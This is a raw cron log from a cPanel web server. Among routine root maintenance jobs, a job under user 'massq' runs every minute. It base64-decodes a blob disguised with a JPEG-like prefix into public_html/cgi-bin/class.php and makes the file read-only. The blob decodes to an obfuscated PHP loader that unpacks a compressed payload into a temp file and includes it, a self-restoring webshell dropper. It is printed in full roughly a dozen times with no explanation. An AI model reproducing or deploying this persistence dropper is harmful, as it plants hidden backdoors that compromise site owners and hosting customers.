Nov  9 05:39:01 server CROND[16167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:39:01 server CROND[16168]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 05:40:01 server CROND[16982]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 05:40:01 server CROND[16983]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:40:01 server CROND[16984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:40:01 server CROND[16987]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:41:01 server CROND[17969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:42:01 server CROND[18787]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 05:42:01 server CROND[18788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:43:01 server CROND[19617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:44:01 server CROND[20448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:45:01 server CROND[21284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:45:01 server CROND[21286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:45:01 server CROND[21287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:46:01 server CROND[22253]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:47:01 server CROND[22789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:48:01 server CROND[23246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:49:01 server CROND[24057]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:50:02 server CROND[24899]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:50:02 server CROND[24901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 05:50:02 server CROND[24902]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 05:50:02 server CROND[24904]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:50:02 server CROND[24903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:51:01 server CROND[25759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:52:01 server CROND[26534]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload &gt; /dev/null 2&gt;&amp;1)
